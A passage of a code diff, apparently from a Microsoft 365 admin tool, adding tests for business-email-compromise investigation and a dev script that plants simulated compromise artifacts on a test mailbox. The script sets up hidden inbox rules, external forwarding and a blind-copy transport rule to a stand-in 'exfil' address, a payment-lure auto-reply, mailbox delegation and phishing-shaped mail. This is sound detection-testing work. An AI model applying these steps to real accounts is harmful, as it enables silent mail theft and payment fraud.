-ParameterFilter { $Filter -like "BecCaseId eq 'BEC-20260820120000-ev0001'*" -and $Filter -like "*PartitionKey ge '20260819'*" } + } + + It 'refuses a non-PDF and an incomplete run without recording anything' { + { New-CIPPBecEvidencePackage -TenantFilter 'contoso.com' -CaseId 'BEC-20260820120000-ev0001' -PdfBase64 ([Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes(''))) } | Should -Throw '*not a PDF*' + Mock Get-CIPPBecReport { [pscustomobject]@{ Status = 'Waiting' } } + { New-CIPPBecEvidencePackage -TenantFilter 'contoso.com' -CaseId 'BEC-x' } | Should -Throw '*only completed runs*' + Should -Invoke Set-CIPPBecReport -Times 0 + } +} diff --git a/backend/Tests/Private/Remove-CIPPBecSharingLinks.Tests.ps1 b/backend/Tests/Private/Remove-CIPPBecSharingLinks.Tests.ps1 new file mode 100644 index 0000000000..2be81a6452 --- /dev/null +++ b/backend/Tests/Private/Remove-CIPPBecSharingLinks.Tests.ps1 @@ -0,0 +1,72 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + function New-GraphGetRequest { param($uri, $tenantid, $AsApp, $noPagination) } + function New-GraphPostRequest { param($uri, $tenantid, $type, $AsApp, $body) } + function Get-CippException { param($Exception) [pscustomobject]@{ NormalizedError = [string]$Exception.Exception.Message } } + function Write-LogMessage { param($message, $tenant, $API, $headers, $Sev) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Remove-CIPPBecSharingLinks.ps1') + + # A drive item carrying every permission shape: an anonymous link, an org link, a direct user grant + # (no .link), and an inherited link. Only the two own link permissions should be deleted. + $script:ItemWithLinks = { + [pscustomobject]@{ + id = 'item1' + name = 'payroll.xlsx' + parentReference = [pscustomobject]@{ driveId = 'drive1' } + permissions = @( + [pscustomobject]@{ id = 'perm-anon'; link = [pscustomobject]@{ scope = 'anonymous' } } + [pscustomobject]@{ id = 'perm-org'; link = [pscustomobject]@{ scope = 'organization' } } + [pscustomobject]@{ id = 'perm-user'; grantedToV2 = [pscustomobject]@{ user = [pscustomobject]@{ id = 'u1' } } } + [pscustomobject]@{ id = 'perm-inherited'; link = [pscustomobject]@{ scope = 'anonymous' }; inheritedFrom = [pscustomobject]@{ id = 'root' } } + ) + } + } +} + +Describe 'Remove-CIPPBecSharingLinks' { + BeforeEach { + Mock New-GraphPostRequest { } + Mock Write-LogMessage { } + } + + It 'resolves each URL through the shares endpoint and deletes only the own link permissions' { + Mock New-GraphGetRequest { & $script:ItemWithLinks } + $Rows = Remove-CIPPBecSharingLinks -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -ItemUrls @('https://contoso-my.sharepoint.com/personal/victim/Documents/payroll.xlsx') + + Should -Invoke New-GraphGetRequest -Times 1 -ParameterFilter { $uri -like 'https://graph.microsoft.com/v1.0/shares/u!*/driveItem*' } + # the direct grant and the inherited link are left alone + Should -Invoke New-GraphPostRequest -Times 2 -ParameterFilter { $type -eq 'DELETE' } + Should -Invoke New-GraphPostRequest -Times 1 -ParameterFilter { $uri -like '*/drives/drive1/items/item1/permissions/perm-anon' } + Should -Invoke New-GraphPostRequest -Times 1 -ParameterFilter { $uri -like '*/permissions/perm-org' } + Should -Invoke New-GraphPostRequest -Times 0 -ParameterFilter { $uri -like '*perm-user' -or $uri -like '*perm-inherited' } + @($Rows | Where-Object { $_.state -eq 'success' }).Count | Should -Be 2 + } + + It 'de-duplicates repeated URLs so a link is only resolved once' { + Mock New-GraphGetRequest { & $script:ItemWithLinks } + $null = Remove-CIPPBecSharingLinks -TenantFilter 'contoso.com' -ItemUrls @('https://x/a', 'https://x/a', 'https://x/a') + Should -Invoke New-GraphGetRequest -Times 1 + } + + It 'returns an info row and deletes nothing when the item has no link permissions' { + Mock New-GraphGetRequest { [pscustomobject]@{ id = 'i'; name = 'clean.txt'; parentReference = [pscustomobject]@{ driveId = 'd' }; permissions = @([pscustomobject]@{ id = 'g'; grantedToV2 = [pscustomobject]@{ user = [pscustomobject]@{ id = 'u' } } }) } } + $Rows = Remove-CIPPBecSharingLinks -TenantFilter 'contoso.com' -ItemUrls @('https://x/clean.txt') + $Rows[0].state | Should -Be 'info' + Should -Invoke New-GraphPostRequest -Times 0 + } + + It 'returns an error row when the item cannot be resolved' { + Mock New-GraphGetRequest { throw 'Item not found' } + $Rows = Remove-CIPPBecSharingLinks -TenantFilter 'contoso.com' -ItemUrls @('https://x/gone.txt') + $Rows[0].state | Should -Be 'error' + $Rows[0].resultText | Should -Match 'Item not found' + } + + It 'keeps going to the next URL when one delete fails' { + Mock New-GraphGetRequest { & $script:ItemWithLinks } + Mock New-GraphPostRequest { throw 'Access denied' } + $Rows = Remove-CIPPBecSharingLinks -TenantFilter 'contoso.com' -ItemUrls @('https://x/a') + @($Rows | Where-Object { $_.state -eq 'error' }).Count | Should -Be 2 + $Rows[0].resultText | Should -Match 'Access denied' + } +} diff --git a/backend/Tests/Private/Search-CIPPBecAuditLog.Tests.ps1 b/backend/Tests/Private/Search-CIPPBecAuditLog.Tests.ps1 new file mode 100644 index 0000000000..513341c41c --- /dev/null +++ b/backend/Tests/Private/Search-CIPPBecAuditLog.Tests.ps1 @@ -0,0 +1,146 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + function New-ExoRequest { param($tenantid, $cmdlet, $cmdParams, $Anchor) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Search-CIPPBecAuditLog.ps1') + + function New-Page { + param([int]$From, [int]$Count, [int]$Total, [string]$Prefix = 'id') + foreach ($i in $From..($From + $Count - 1)) { + [pscustomobject]@{ + Identity = "$Prefix$i" + CreationDate = '2026-08-20T10:00:00Z' + Operations = 'New-InboxRule' + UserIds = 'user@contoso.com' + RecordType = 'ExchangeAdmin' + ResultIndex = $i + ResultCount = $Total + AuditData = "{`"Operation`":`"New-InboxRule`",`"Id`":$i}" + } + } + } + $script:Start = (Get-Date).AddDays(-7) + $script:End = Get-Date +} + +Describe 'Search-CIPPBecAuditLog' { + BeforeEach { + $script:Calls = [System.Collections.Generic.List[object]]::new() + } + + It 'returns a short page as complete with parsed AuditData' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); New-Page -From 1 -Count 3 -Total 3 } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -Operations @('New-InboxRule') -UserIds @('user@contoso.com') -PageSize 5000 + $Result.Complete | Should -BeTrue + $Result.Pages | Should -Be 1 + $Result.Cap | Should -BeNullOrEmpty + $Result.Records.Count | Should -Be 3 + $Result.Records[0].AuditData.Id | Should -Be 1 + $Result.Records[0].Operation | Should -Be 'New-InboxRule' + } + + It 'sends ReturnLargeSet, ResultSize and an array UserIds with a stable session id' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); New-Page -From 1 -Count 1 -Total 1 } + $null = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -Operations @('A') -UserIds 'user@contoso.com' -PageSize 100 + $script:Calls[0].SessionCommand | Should -Be 'ReturnLargeSet' + $script:Calls[0].ResultSize | Should -Be 100 + $script:Calls[0].UserIds -is [array] | Should -BeTrue + $script:Calls[0].SessionId | Should -Match '^CIPP-BEC-' + } + + It 'follows full pages until the service reports the last row and reuses the session id' { + Mock New-ExoRequest { + $script:Calls.Add($cmdParams) + switch ($script:Calls.Count) { + 1 { New-Page -From 1 -Count 4 -Total 10 } + 2 { New-Page -From 5 -Count 4 -Total 10 } + default { New-Page -From 9 -Count 2 -Total 10 } + } + } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -PageSize 4 -MaxPages 10 + $Result.Complete | Should -BeTrue + $Result.Pages | Should -Be 3 + $Result.Records.Count | Should -Be 10 + ($script:Calls | ForEach-Object { $_.SessionId } | Select-Object -Unique).Count | Should -Be 1 + } + + It 'stops at an exact multiple of the page size when ResultIndex reaches ResultCount' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); New-Page -From 1 -Count 4 -Total 4 } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -PageSize 4 -MaxPages 10 + $Result.Complete | Should -BeTrue + $Result.Pages | Should -Be 1 + $Result.Records.Count | Should -Be 4 + } + + It 'reports partial results when a leaf slice (below MinSliceMinutes) still hits the page cap' { + # A window smaller than MinSliceMinutes cannot be bisected further, so it caps as before. + Mock New-ExoRequest { $script:Calls.Add($cmdParams); New-Page -From (($script:Calls.Count - 1) * 4 + 1) -Count 4 -Total 100 } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:End.AddMinutes(-30) -EndDate $script:End -PageSize 4 -MaxPages 2 -MinSliceMinutes 60 + $Result.Complete | Should -BeFalse + $Result.Pages | Should -Be 2 + $Result.Cap | Should -Match '2 pages' + $Result.Records.Count | Should -Be 8 + } + + It 'bisects a page-capped window on time and covers each half with its own budget' { + # Full pages for a window wider than one slice => the top window caps; each 60-minute half comes + # back short => complete. Coverage is by time, so the whole window is searched despite the cap. + Mock New-ExoRequest { + $script:Calls.Add($cmdParams) + $Minutes = [int](New-TimeSpan -Start $cmdParams.StartDate -End $cmdParams.EndDate).TotalMinutes + # Unique ids per call so a wide window caps (rather than stalling on a repeated page). + if ($Minutes -gt 61) { New-Page -From ($script:Calls.Count * 4) -Count 4 -Total 100 } + else { New-Page -From (5000 + 10 * $script:Calls.Count) -Count 2 -Total 2 } + } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:End.AddMinutes(-120) -EndDate $script:End -PageSize 4 -MaxPages 2 -MinSliceMinutes 60 + $Result.Complete | Should -BeTrue + $Result.Cap | Should -BeNullOrEmpty + $Result.Records.Count | Should -Be 4 + # the top window paged twice (capped), then each of the two 60-minute halves was searched + @($script:Calls | Where-Object { [int](New-TimeSpan -Start $_.StartDate -End $_.EndDate).TotalMinutes -le 61 }).Count | Should -Be 2 + } + + It 'terminates and reports incomplete when even the smallest slice stays dense' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); New-Page -From (($script:Calls.Count - 1) * 4 + 1) -Count 4 -Total 100 } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:End.AddMinutes(-240) -EndDate $script:End -PageSize 4 -MaxPages 2 -MinSliceMinutes 60 + $Result.Complete | Should -BeFalse + # bounded recursion: a 240-minute window bisected to 60-minute leaves is a handful of slices, not unbounded + $script:Calls.Count | Should -BeLessThan 40 + } + + It 'keeps the pages already collected when a later page errors, and reports it partial' { + Mock New-ExoRequest { + $script:Calls.Add($cmdParams) + if ($script:Calls.Count -eq 1) { New-Page -From 1 -Count 4 -Total 100 } + else { throw 'EXO transient failure' } + } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:End.AddMinutes(-30) -EndDate $script:End -PageSize 4 -MaxPages 5 -MinSliceMinutes 60 + $Result.Complete | Should -BeFalse + $Result.Records.Count | Should -Be 4 + $Result.Cap | Should -Match 'page error' + $Result.Cap | Should -Match 'EXO transient failure' + } + + It 'stops and reports partial results when the service replays the same page' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); New-Page -From 1 -Count 4 -Total 100 } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -PageSize 4 -MaxPages 10 + $Result.Complete | Should -BeFalse + $Result.Cap | Should -Match 'stalled' + $Result.Records.Count | Should -Be 4 + $Result.Pages | Should -Be 2 + } + + It 'returns an empty, complete result when the search has no hits' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); $null } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -Operations @('X') + $Result.Complete | Should -BeTrue + $Result.Records.Count | Should -Be 0 + } + + It 'keeps a record whose AuditData is not JSON instead of failing the search' { + Mock New-ExoRequest { $script:Calls.Add($cmdParams); [pscustomobject]@{ Identity = 'x'; Operations = 'Op'; AuditData = 'not json'; ResultIndex = 1; ResultCount = 1 } } + $Result = Search-CIPPBecAuditLog -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End + $Result.Records.Count | Should -Be 1 + $Result.Records[0].AuditData | Should -BeNullOrEmpty + $Result.Records[0].Operation | Should -Be 'Op' + } +} diff --git a/build/tools/New-BecSimTestData.ps1 b/build/tools/New-BecSimTestData.ps1 new file mode 100644 index 0000000000..27d25466f9 --- /dev/null +++ b/build/tools/New-BecSimTestData.ps1 @@ -0,0 +1,440 @@ +<# +.SYNOPSIS + Plants a set of reversible "compromised mailbox" artifacts on a TEST account so a BEC run + (Push-BECRun) lights up its checks and score, letting you test detection and the UI end to end. + +.DESCRIPTION + Dev/test tool for the Business Email Compromise workflow. + + By default it performs, as the tenant's SAM app, the mailbox-scoped actions an attacker leaves + behind - every one reversible and tagged with a marker so -Cleanup finds and undoes exactly what + it created: + + 1. A suspicious inbox rule -> Suspicious/New rules + rule-change signals (+5/+3/+3) + 2. External forwarding (keep a copy) -> mailbox-state forwarding banner + 3. An external auto-reply -> mailbox-state auto-reply + 4. A trusted-sender safelist entry -> safelist-change signal (+2) + 5. FullAccess + SendAs delegation -> permission-change / flagged-delegation signals (needs -DelegateTo; accepts several) + 6. A BlindCopyTo transport rule -> risky transport-rule-change signal (+4) (opt-in -IncludeTransportRule; TENANT-WIDE) + + With -AsUser it ALSO signs in as the test user (device-code flow - one interactive sign-in as the + victim, MFA-compatible, no password stored) and adds the actions the SAM app cannot do attributed + to the user - these only fire the audit-log checks when the USER is the actor: + + 7. A OneDrive "Anyone" sharing link -> sharing-change + AnonymousLinks signal (+3) + 8. A user-created inbox rule -> user-attributed inbox-rule change + 9. Mail sent as the user -> sent-message activity (raise -BurstCount / -SendMailTo for mass mail) + 10. Phishing-shaped internal+external -> sent-message + received/subject-pattern findings (opt-in -SendPhishingMail; external needs -PhishExternalTo) + + The core set (no switches) already crosses the High threshold. It reads and writes settings and, + with -AsUser, uploads one text file and sends test mail (to the user themselves by default) - it + never reads, deletes or purges real mail, and never touches another user's data. + + Requires a dev session: dot-source build/tools/Initialize-DevEnvironment.ps1 first, then run this. + + -AsUser prerequisites (each unmet one is skipped with the reason printed, so a partial run is fine): + - the sign-in app must be consented for the delegated scopes it uses: Files.ReadWrite (OneDrive + link), Mail.ReadWrite or MailboxSettings.ReadWrite (the rule), Mail.Send (sending). The default + Microsoft Graph PowerShell app is often consented only for Mail.Send in a tenant - admin-consent + the rest once (Entra > Enterprise applications > Microsoft Graph Command Line Tools > Permissions), + or pass a -ClientId of an app that already has them. The run prints the scopes actually granted. + - the test user must have a provisioned OneDrive for the sharing link (Identity > user > + Pre-provision OneDrive, or open onedrive.com once as the user). + - for an 'anonymous' link, "Anyone" sharing must be enabled in SharePoint (else -ShareScope organization). + + SAFETY: point it only at an account you own on a test tenant. -ForwardTo defaults to the RFC-2606 + reserved example.com, which cannot receive mail. The artifacts look malicious by design - run + -Cleanup (add -AsUser to also remove the OneDrive file and user rule) when you are done. + +.EXAMPLE + # Core app-only set on a test mailbox + ./New-BecSimTestData.ps1 -TenantFilter contoso.onmicrosoft.com -UserPrincipalName victim@contoso.onmicrosoft.com + +.EXAMPLE + # Everything, including the SharePoint link and user-attributed actions (sign in as the victim when prompted) + ./New-BecSimTestData.ps1 -TenantFilter contoso.onmicrosoft.com -UserPrincipalName victim@contoso.onmicrosoft.com -DelegateTo attacker@contoso.onmicrosoft.com -IncludeTransportRule -AsUser + +.EXAMPLE + # Multi-user blast radius: delegate to two colleagues and send internal mail to three others, so the + # case correlation graph shows several affected accounts fanning out from the victim. + ./New-BecSimTestData.ps1 -TenantFilter contoso.onmicrosoft.com -UserPrincipalName victim@contoso.onmicrosoft.com -DelegateTo attacker@contoso.onmicrosoft.com,helpdesk@contoso.onmicrosoft.com -AsUser -SendMailTo cfo@contoso.onmicrosoft.com,ap@contoso.onmicrosoft.com,exec@contoso.onmicrosoft.com + +.EXAMPLE + # Add low-volume phishing-shaped mail: one internal (to self) and one external to an inbox you own + ./New-BecSimTestData.ps1 -TenantFilter contoso.onmicrosoft.com -UserPrincipalName victim@contoso.onmicrosoft.com -AsUser -SendPhishingMail -PhishExternalTo you@personal.example + +.EXAMPLE + # Undo everything (add -AsUser to also remove the OneDrive link and user rule) + ./New-BecSimTestData.ps1 -TenantFilter contoso.onmicrosoft.com -UserPrincipalName victim@contoso.onmicrosoft.com -AsUser -Cleanup +#> +[CmdletBinding()] +param( + [Parameter(Mandatory = $true)] + [string]$TenantFilter, + + # The test account to compromise. Use one you own on a test tenant. + [Parameter(Mandatory = $true)] + [string]$UserPrincipalName, + + # Where forwarding/BCC point. Defaults to an address that provably cannot receive mail. + [string]$ForwardTo = 'bec-sim-exfil@example.com', + + # One or more test mailboxes to grant FullAccess + SendAs to. Each grantee is an account the victim + # reaches, so they show as separate target nodes in the case correlation graph. Omitted = skip. + [string[]]$DelegateTo, + + # Well-known low-visibility folder the app-only inbox rule files into (always-present Junk Email by + # default; 'RSS Subscriptions' also trips the RSS breach banner but does not exist in every mailbox). + [string]$MoveToFolder = 'Junk Email', + + # Also create a tenant-wide transport rule that blind-copies external. TENANT-WIDE, but reversible. + [switch]$IncludeTransportRule, + + # Additionally sign in AS the test user (device-code flow) to add the SharePoint sharing link and + # other user-attributed actions the SAM app cannot. One interactive sign-in as the victim. + [switch]$AsUser, + + # Public client for the device-code sign-in. Defaults to the Microsoft Graph PowerShell app, which + # needs no registration; the test user consents to Files/Mail scopes on first sign-in. + [string]$ClientId = '14d82eec-204b-4c2f-b7e8-296a70dab67e', + + # Sharing-link scope. 'anonymous' (Anyone-with-the-link) trips AnonymousLinks (+3) and needs + # "Anyone" sharing enabled; 'organization' is the fallback when it is not. + [ValidateSet('anonymous', 'organization')] + [string]$ShareScope = 'anonymous', + + # Recipients for the "sent as the user" burst. Internal recipients each show as a target node in the + # case correlation graph (lateral movement). Defaults to the user themselves (stays internal). + [string[]]$SendMailTo, + + # How many messages the -AsUser burst sends. Raise it (with 20+ -SendMailTo recipients) for mass mail. + [int]$BurstCount = 3, + + # Also send low-volume phishing-shaped mail AS the user: one internal and (only if -PhishExternalTo + # is set) one external. Subjects hit the payment/wire heuristics; bodies are plainly marked as a + # simulation. Held to one message each so it does not trip outbound-spam protection. Needs -AsUser. + [switch]$SendPhishingMail, + + # Internal recipient for the -SendPhishingMail internal message. Defaults to the victim themselves, + # which also seeds a "received" phishing finding on their own mailbox. + [string]$PhishInternalTo, + + # External recipient for the -SendPhishingMail external message - use a test inbox you own. Left + # unset, the external send is skipped (the internal one still goes). Sending phishing-shaped mail to + # real external recipients harms sender reputation and can get the user blocked; keep volume low. + [string]$PhishExternalTo, + + # Undo everything tagged with the marker instead of creating it. + [switch]$Cleanup +) + +$ErrorActionPreference = 'Stop' +if (-not (Get-Command New-ExoRequest -ErrorAction SilentlyContinue)) { + throw 'Dev session not initialized. Dot-source build/tools/Initialize-DevEnvironment.ps1 first.' +} + +# One marker stamps every artifact so cleanup is exact and a human can spot them in the portal. +$Marker = 'CIPP-BEC-SIM' +$RuleName = "$Marker Invoice payment" # app-only inbox rule (name trips the sensitive-name heuristic) +$TransportRuleName = "$Marker BlindCopy" +$MarkerDomain = 'bec-sim-marker.example' # the safelist entry; harmless, easy to find +$SimFileName = "$Marker-exfil.txt" # OneDrive file that carries the sharing link +$GraphRuleName = "$Marker Move to Deleted" # inbox rule created AS the user (Graph) +$Exo = @{ tenantid = $TenantFilter } + +# Run one action, report ok/fail without aborting the whole run. +function Invoke-Step { + param([string]$Label, [scriptblock]$Action) + try { + & $Action + Write-Host " [ok] $Label" -ForegroundColor Green + } catch { + Write-Host " [fail] $Label -> $($_.Exception.Message)" -ForegroundColor Yellow + } +} + +# Device-code sign-in as the test user: prints a code, the operator signs in once as the victim, and +# we get a delegated Graph token. Raw OAuth so there is no module dependency. +function Get-BecSimUserToken { + param([string]$Tenant, [string]$Client, [string]$Upn) + $Scope = 'https://graph.microsoft.com/Files.ReadWrite https://graph.microsoft.com/Mail.ReadWrite https://graph.microsoft.com/MailboxSettings.ReadWrite https://graph.microsoft.com/Mail.Send offline_access openid profile' + $Device = Invoke-RestMethod -Method POST -Uri "https://login.microsoftonline.com/$Tenant/oauth2/v2.0/devicecode" -Body @{ client_id = $Client; scope = $Scope } + Write-Host '' + Write-Host $Device.message -ForegroundColor Yellow + Write-Host " -> sign in as the TEST user '$Upn' (the victim), not your own account." -ForegroundColor Cyan + $TokenBody = @{ grant_type = 'urn:ietf:params:oauth:grant-type:device_code'; client_id = $Client; device_code = $Device.device_code } + $Deadline = (Get-Date).AddSeconds([int]$Device.expires_in) + while ((Get-Date) -lt $Deadline) { + Start-Sleep -Seconds ([Math]::Max([int]$Device.interval, 3)) + try { + return (Invoke-RestMethod -Method POST -Uri "https://login.microsoftonline.com/$Tenant/oauth2/v2.0/token" -Body $TokenBody -ErrorAction Stop).access_token + } catch { + $ErrCode = try { ($_.ErrorDetails.Message | ConvertFrom-Json).error } catch { '' } + if ($ErrCode -in 'authorization_pending', 'slow_down') { continue } + throw "Device-code sign-in failed: $ErrCode" + } + } + throw 'Device-code sign-in timed out.' +} + +# One delegated Graph v1.0 call with the user token. +function Invoke-BecSimGraph { + param([string]$Method, [string]$Uri, $Body, [string]$Token) + $Params = @{ Method = $Method; Uri = "https://graph.microsoft.com/v1.0$Uri"; Headers = @{ Authorization = "Bearer $Token" } } + if ($null -ne $Body) { $Params.Body = ($Body | ConvertTo-Json -Depth 6); $Params.ContentType = 'application/json' } + Invoke-RestMethod @Params +} + +# The delegated scopes actually granted (the token's scp claim), so we can skip - with a clear reason - +# the actions the sign-in app was not consented for, instead of failing with a bare 403. +function Get-BecSimTokenScope { + param([string]$Token) + try { + $Part = $Token.Split('.')[1].Replace('-', '+').Replace('_', '/') + switch ($Part.Length % 4) { 2 { $Part += '==' } 3 { $Part += '=' } } + return @(((([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Part))) | ConvertFrom-Json).scp -split ' ') | Where-Object { $_ }) + } catch { return @() } +} + +if ($Cleanup) { + Write-Host "Cleaning up $Marker artifacts on $UserPrincipalName ($TenantFilter)..." -ForegroundColor Cyan + + Invoke-Step "Remove inbox rule '$RuleName'" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Remove-InboxRule' -cmdParams @{ + Identity = $RuleName; Force = $true; Confirm = $false + } + } + Invoke-Step 'Clear forwarding' { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Set-Mailbox' -cmdParams @{ + Identity = $UserPrincipalName; ForwardingSMTPAddress = $null; ForwardingAddress = $null; DeliverToMailboxAndForward = $false + } + } + Invoke-Step 'Disable auto-reply' { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Set-MailboxAutoReplyConfiguration' -cmdParams @{ + Identity = $UserPrincipalName; AutoReplyState = 'Disabled' + } + } + Invoke-Step "Remove safelist entry '$MarkerDomain'" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Set-MailboxJunkEmailConfiguration' -cmdParams @{ + Identity = $UserPrincipalName; TrustedSendersAndDomains = @{ '@odata.type' = '#Exchange.GenericHashTable'; Remove = $MarkerDomain } + } + } + foreach ($Delegate in $DelegateTo) { + Invoke-Step "Remove FullAccess for $Delegate" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Remove-MailboxPermission' -cmdParams @{ + Identity = $UserPrincipalName; User = $Delegate; AccessRights = @('FullAccess'); Confirm = $false + } + } + Invoke-Step "Remove SendAs for $Delegate" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Remove-RecipientPermission' -cmdParams @{ + Identity = $UserPrincipalName; Trustee = $Delegate; AccessRights = @('SendAs'); Confirm = $false + } + } + } + Invoke-Step "Remove transport rule '$TransportRuleName'" { + $null = New-ExoRequest @Exo -cmdlet 'Remove-TransportRule' -cmdParams @{ Identity = $TransportRuleName; Confirm = $false } -UseSystemMailbox $true + } + + if ($AsUser) { + Write-Host 'Signing in as the user to remove the OneDrive file and user inbox rule...' -ForegroundColor Cyan + $Token = Get-BecSimUserToken -Tenant $TenantFilter -Client $ClientId -Upn $UserPrincipalName + Invoke-Step "Delete OneDrive file '$SimFileName' (removes its sharing link)" { + $null = Invoke-RestMethod -Method DELETE -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/$SimFileName" -Headers @{ Authorization = "Bearer $Token" } + } + Invoke-Step "Remove user inbox rule '$GraphRuleName'" { + $Rules = Invoke-BecSimGraph -Method GET -Uri '/me/mailFolders/inbox/messageRules' -Token $Token + $Rule = @($Rules.value | Where-Object { $_.displayName -eq $GraphRuleName })[0] + if ($Rule) { $null = Invoke-BecSimGraph -Method DELETE -Uri "/me/mailFolders/inbox/messageRules/$($Rule.id)" -Token $Token } + } + } + + Write-Host 'Cleanup done.' -ForegroundColor Cyan + return +} + +Write-Host "Planting $Marker artifacts on $UserPrincipalName ($TenantFilter)..." -ForegroundColor Cyan +Write-Host 'These look malicious by design. Run again with -Cleanup when finished.' -ForegroundColor DarkYellow + +# 1. Suspicious inbox rule: sensitive name + files sensitive mail away into a low-visibility folder, +# marks it read. Trips SuspiciousRules(+5) + NewRules(+3) + InboxRuleChanges(+3) on its own. +Invoke-Step "Create inbox rule '$RuleName' -> $MoveToFolder" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'New-InboxRule' -cmdParams @{ + Name = $RuleName + Mailbox = $UserPrincipalName + SubjectContainsWords = @('invoice', 'payment', 'wire') + MoveToFolder = "${UserPrincipalName}:\$MoveToFolder" + MarkAsRead = $true + StopProcessingRules = $true + } +} + +# 2. External forwarding, keeping a copy so the user notices nothing. +Invoke-Step "Forward externally to $ForwardTo (keep a copy)" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Set-Mailbox' -cmdParams @{ + Identity = $UserPrincipalName; ForwardingSMTPAddress = $ForwardTo; DeliverToMailboxAndForward = $true + } +} + +# 3. External auto-reply (a classic "I'm travelling, wire to this account" lure). +Invoke-Step 'Enable external auto-reply' { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Set-MailboxAutoReplyConfiguration' -cmdParams @{ + Identity = $UserPrincipalName + AutoReplyState = 'Enabled' + ExternalAudience = 'All' + InternalMessage = "$Marker automatic reply" + ExternalMessage = "$Marker automatic reply - please re-send payment details to my personal address." + } +} + +# 4. Trusted-sender safelist entry so the attacker's future mail skips junk filtering. +Invoke-Step "Add '$MarkerDomain' to trusted senders" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Set-MailboxJunkEmailConfiguration' -cmdParams @{ + Identity = $UserPrincipalName; TrustedSendersAndDomains = @{ '@odata.type' = '#Exchange.GenericHashTable'; Add = $MarkerDomain } + } +} + +# 5. Delegation: FullAccess + SendAs to one or more mailboxes (persistence that survives a password +# reset). Each grantee is an account the victim reaches, so they show as target nodes in the graph. +if ($DelegateTo) { + foreach ($Delegate in $DelegateTo) { + Invoke-Step "Grant $Delegate FullAccess" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Add-MailboxPermission' -cmdParams @{ + Identity = $UserPrincipalName; User = $Delegate; AccessRights = @('FullAccess'); AutoMapping = $false; InheritanceType = 'All'; Confirm = $false + } + } + Invoke-Step "Grant $Delegate SendAs" { + $null = New-ExoRequest @Exo -Anchor $UserPrincipalName -cmdlet 'Add-RecipientPermission' -cmdParams @{ + Identity = $UserPrincipalName; Trustee = $Delegate; AccessRights = @('SendAs'); Confirm = $false + } + } + } +} else { + Write-Host ' [skip] delegation (pass -DelegateTo to include it)' -ForegroundColor DarkGray +} + +# 6. Tenant-wide transport rule that blind-copies everything to the exfil address. Opt-in. +if ($IncludeTransportRule) { + Invoke-Step "Create transport rule '$TransportRuleName' (BlindCopyTo $ForwardTo)" { + $null = New-ExoRequest @Exo -cmdlet 'New-TransportRule' -cmdParams @{ + Name = $TransportRuleName; FromScope = 'InOrganization'; BlindCopyTo = $ForwardTo; Comments = "$Marker - delete me" + } -UseSystemMailbox $true + } +} else { + Write-Host ' [skip] transport rule (pass -IncludeTransportRule; it is tenant-wide)' -ForegroundColor DarkGray +} + +# 7-9. As the user (device-code): the actions the SAM app cannot do attributed to the victim - a +# OneDrive sharing link (only detected when the USER made it), a user-created inbox rule, and +# sent mail. +if ($AsUser) { + Write-Host '' + Write-Host 'Signing in as the test user for the SharePoint link and user-attributed actions...' -ForegroundColor Cyan + $Token = Get-BecSimUserToken -Tenant $TenantFilter -Client $ClientId -Upn $UserPrincipalName + $Scopes = Get-BecSimTokenScope -Token $Token + Write-Host " granted delegated scopes: $($Scopes -join ', ')" -ForegroundColor DarkGray + $HasFiles = @($Scopes | Where-Object { $_ -like 'Files.ReadWrite*' }).Count -gt 0 + $HasRuleScope = @($Scopes | Where-Object { $_ -in 'Mail.ReadWrite', 'MailboxSettings.ReadWrite' }).Count -gt 0 + $HasSend = @($Scopes | Where-Object { $_ -like 'Mail.Send*' }).Count -gt 0 + + # OneDrive sharing link: needs Files.ReadWrite consent AND a provisioned OneDrive for the user. + $HasOneDrive = $false + if ($HasFiles) { try { $null = Invoke-BecSimGraph -Method GET -Uri '/me/drive?$select=id' -Token $Token; $HasOneDrive = $true } catch { $HasOneDrive = $false } } + if (-not $HasFiles) { + Write-Host " [skip] OneDrive sharing link - the token has no Files.ReadWrite. Admin-consent the sign-in app (see -ClientId) for it, then 